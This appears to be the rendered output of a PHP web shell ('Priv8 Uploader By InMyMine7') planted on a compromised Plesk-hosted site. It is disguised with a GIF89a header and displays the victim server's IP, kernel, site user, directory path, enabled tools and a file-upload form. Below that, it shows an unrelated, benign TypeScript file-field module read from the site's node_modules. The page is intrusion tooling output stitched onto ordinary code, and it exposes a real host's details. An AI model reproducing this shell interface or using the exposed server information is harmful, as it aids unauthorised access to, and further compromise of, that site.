GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/fields/ |
Upload File : |
import { z } from "astro/zod";
import type { FieldDefinition, FieldUIHints, FileValue } from "./types.js";
export interface FileOptions {
required?: boolean;
maxSize?: number; // In bytes
allowedTypes?: string[]; // MIME types — exact (image/png) or prefix (image/)
helpText?: string;
}
export function file(options: FileOptions = {}): FieldDefinition<FileValue> {
const fileObjSchema = z.object({
id: z.string(),
url: z.string(),
filename: z.string(),
mimeType: z.string(),
size: z.number(),
});
const schema: z.ZodTypeAny = options.required ? fileObjSchema : fileObjSchema.optional();
const ui: FieldUIHints = {
widget: "file",
helpText: options.helpText,
maxSize: options.maxSize,
};
const validation =
options.allowedTypes && options.allowedTypes.length > 0
? { allowedMimeTypes: [...options.allowedTypes] }
: undefined;
return {
type: "file",
columnType: "TEXT",
schema,
options,
ui,
validation,
};
}